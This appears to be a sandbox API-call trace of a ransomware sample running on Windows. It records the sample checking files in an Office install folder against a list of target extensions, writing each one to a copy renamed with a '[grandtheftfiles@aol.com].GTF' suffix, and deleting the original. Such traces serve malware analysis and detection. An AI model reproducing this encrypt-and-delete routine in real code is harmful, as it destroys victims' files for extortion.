	[0163.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.416] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=19136) returned 1
	[0163.416] CloseHandle (hObject=0x43c) returned 1
	[0163.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220
	[0163.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0163.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0163.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0163.417] lstrlenW (lpString=".doc") returned 4
	[0163.417] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0163.417] lstrlenW (lpString=".docx") returned 5
	[0163.417] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0163.417] lstrlenW (lpString=".pdf") returned 4
	[0163.417] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0163.417] lstrlenW (lpString=".xls") returned 4
	[0163.417] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0163.417] lstrlenW (lpString=".xlsx") returned 5
	[0163.417] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0163.417] lstrlenW (lpString=".ppt") returned 4
	[0163.417] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0163.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0163.417] lstrlenW (lpString=".zip") returned 4
	[0163.417] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0163.417] lstrlenW (lpString=".rar") returned 4
	[0163.417] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0163.417] lstrlenW (lpString=".bz2") returned 4
	[0163.417] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0163.417] lstrlenW (lpString=".7z") returned 3
	[0163.417] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0163.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0163.417] lstrlenW (lpString=".dbf") returned 4
	[0163.417] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0163.988] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=8568) returned 1
	[0163.988] CloseHandle (hObject=0x3e0) returned 1
	[0163.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 0x220
	[0163.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0163.989] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.989] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0163.990] GetLastError () returned 0x0
	[0163.990] ReadFile (in: hFile=0x3e0, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2178, lpOverlapped=0x0) returned 1
	[0163.995] WriteFile (in: hFile=0x48c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2180, lpOverlapped=0x0) returned 1
	[0163.997] ReadFile (in: hFile=0x3e0, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.997] WriteFile (in: hFile=0x48c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xec, lpOverlapped=0x0) returned 1
	[0163.997] SetEndOfFile (hFile=0x48c) returned 1
	[0163.997] CloseHandle (hObject=0x48c) returned 1
	[0163.997] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.997] SetEndOfFile (hFile=0x3e0) returned 1
	[0164.000] CloseHandle (hObject=0x3e0) returned 1
	[0164.000] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.000] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\indst_01.mid")) returned 1
	[0164.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.001] lstrlenW (lpString=".doc") returned 4
	[0164.001] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.001] lstrlenW (lpString=".docx") returned 5
	[0164.001] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.001] lstrlenW (lpString=".pdf") returned 4
	[0164.001] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.001] lstrlenW (lpString=".xls") returned 4
	[0164.001] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.001] lstrlenW (lpString=".xlsx") returned 5
	[0164.001] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.001] lstrlenW (lpString=".ppt") returned 4
	[0164.001] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.001] lstrlenW (lpString=".zip") returned 4
	[0164.001] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.001] lstrlenW (lpString=".rar") returned 4
	[0164.001] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.001] lstrlenW (lpString=".bz2") returned 4
	[0164.001] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.001] lstrlenW (lpString=".7z") returned 3
	[0164.001] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.001] lstrlenW (lpString=".dbf") returned 4
	[0164.001] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.001] lstrlenW (lpString=".1cd") returned 4
	[0164.001] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.001] lstrlenW (lpString=".jpg") returned 4
	[0164.001] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.001] lstrlenW (lpString=".doc") returned 4
	[0164.001] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.001] lstrlenW (lpString=".docx") returned 5
	[0164.002] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.002] lstrlenW (lpString=".pdf") returned 4
	[0164.002] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.002] lstrlenW (lpString=".xls") returned 4
	[0164.002] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.002] lstrlenW (lpString=".xlsx") returned 5
	[0164.002] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.002] lstrlenW (lpString=".ppt") returned 4
	[0164.002] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.002] lstrlenW (lpString=".zip") returned 4
	[0164.002] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.002] lstrlenW (lpString=".rar") returned 4
	[0164.002] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.002] lstrlenW (lpString=".bz2") returned 4
	[0164.002] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.002] lstrlenW (lpString=".7z") returned 3
	[0164.002] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.002] lstrlenW (lpString=".dbf") returned 4
	[0164.002] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.002] lstrlenW (lpString=".1cd") returned 4
	[0164.002] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\INDST_01.MID") returned 68
	[0164.002] lstrlenW (lpString=".jpg") returned 4
	[0164.002] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.002] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.002] lstrlenW (lpString="JAVA_01.MID") returned 11
	[0164.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0164.011] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=9797) returned 1
	[0164.011] CloseHandle (hObject=0x540) returned 1
	[0164.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220
	[0164.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0164.012] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.012] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.013] GetLastError () returned 0x0
	[0164.013] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x2645, lpOverlapped=0x0) returned 1
	[0164.015] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x2650, lpOverlapped=0x0) returned 1
	[0164.016] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.016] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xea, lpOverlapped=0x0) returned 1
	[0164.016] SetEndOfFile (hFile=0x43c) returned 1
	[0164.016] CloseHandle (hObject=0x43c) returned 1
	[0164.016] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.016] SetEndOfFile (hFile=0x540) returned 1
	[0164.019] CloseHandle (hObject=0x540) returned 1
	[0164.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.020] lstrlenW (lpString=".doc") returned 4
	[0164.020] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.020] lstrlenW (lpString=".docx") returned 5
	[0164.020] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.020] lstrlenW (lpString=".pdf") returned 4
	[0164.020] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.020] lstrlenW (lpString=".xls") returned 4
	[0164.020] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.020] lstrlenW (lpString=".xlsx") returned 5
	[0164.020] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.020] lstrlenW (lpString=".ppt") returned 4
	[0164.020] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.020] lstrlenW (lpString=".zip") returned 4
	[0164.020] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.020] lstrlenW (lpString=".rar") returned 4
	[0164.020] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.020] lstrlenW (lpString=".bz2") returned 4
	[0164.020] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.020] lstrlenW (lpString=".7z") returned 3
	[0164.020] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.020] lstrlenW (lpString=".dbf") returned 4
	[0164.020] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.020] lstrlenW (lpString=".1cd") returned 4
	[0164.020] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.020] lstrlenW (lpString=".jpg") returned 4
	[0164.020] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.021] lstrlenW (lpString=".doc") returned 4
	[0164.021] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.021] lstrlenW (lpString=".docx") returned 5
	[0164.021] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.021] lstrlenW (lpString=".pdf") returned 4
	[0164.021] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.021] lstrlenW (lpString=".xls") returned 4
	[0164.021] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.021] lstrlenW (lpString=".xlsx") returned 5
	[0164.021] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.021] lstrlenW (lpString=".ppt") returned 4
	[0164.021] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.021] lstrlenW (lpString=".zip") returned 4
	[0164.021] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.021] lstrlenW (lpString=".rar") returned 4
	[0164.021] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.021] lstrlenW (lpString=".bz2") returned 4
	[0164.021] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.021] lstrlenW (lpString=".7z") returned 3
	[0164.021] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.021] lstrlenW (lpString=".dbf") returned 4
	[0164.021] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0164.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.021] lstrlenW (lpString=".1cd") returned 4
	[0164.021] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0164.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0164.021] lstrlenW (lpString=".jpg") returned 4
	[0164.021] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0164.021] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0164.022] lstrlenW (lpString="MUSIC_01.MID") returned 12
	[0164.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0164.023] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=6880) returned 1
	[0164.023] CloseHandle (hObject=0x540) returned 1
	[0164.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220
	[0164.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0164.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0164.023] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.023] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0164.024] GetLastError () returned 0x0
	[0164.024] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x1ae0, lpOverlapped=0x0) returned 1
	[0164.025] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0x1af0, lpOverlapped=0x0) returned 1
	[0164.026] ReadFile (in: hFile=0x540, lpBuffer=0x3aa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fecc, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesRead=0x2e8fecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.026] WriteFile (in: hFile=0x43c, lpBuffer=0x3aa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc94, lpOverlapped=0x0 | out: lpBuffer=0x3aa0020*, lpNumberOfBytesWritten=0x2e8fc94*=0xec, lpOverlapped=0x0) returned 1
	[0164.027] SetEndOfFile (hFile=0x43c) returned 1
	[0164.027] CloseHandle (hObject=0x43c) returned 1
	[0164.027] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.027] SetEndOfFile (hFile=0x540) returned 1
	[0164.030] CloseHandle (hObject=0x540) returned 1
	[0164.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0164.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1
	[0164.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.031] lstrlenW (lpString=".doc") returned 4
	[0164.031] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0164.031] lstrlenW (lpString=".docx") returned 5
	[0164.031] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0164.031] lstrlenW (lpString=".pdf") returned 4
	[0164.031] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0164.031] lstrlenW (lpString=".xls") returned 4
	[0164.031] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0164.031] lstrlenW (lpString=".xlsx") returned 5
	[0164.031] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0164.031] lstrlenW (lpString=".ppt") returned 4
	[0164.031] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0164.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.031] lstrlenW (lpString=".zip") returned 4
	[0164.031] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0164.031] lstrlenW (lpString=".rar") returned 4
	[0164.031] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0164.031] lstrlenW (lpString=".bz2") returned 4
	[0164.031] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0164.031] lstrlenW (lpString=".7z") returned 3
	[0164.031] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0164.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68
	[0164.031] lstrlenW (lpString=".dbf") returned 4
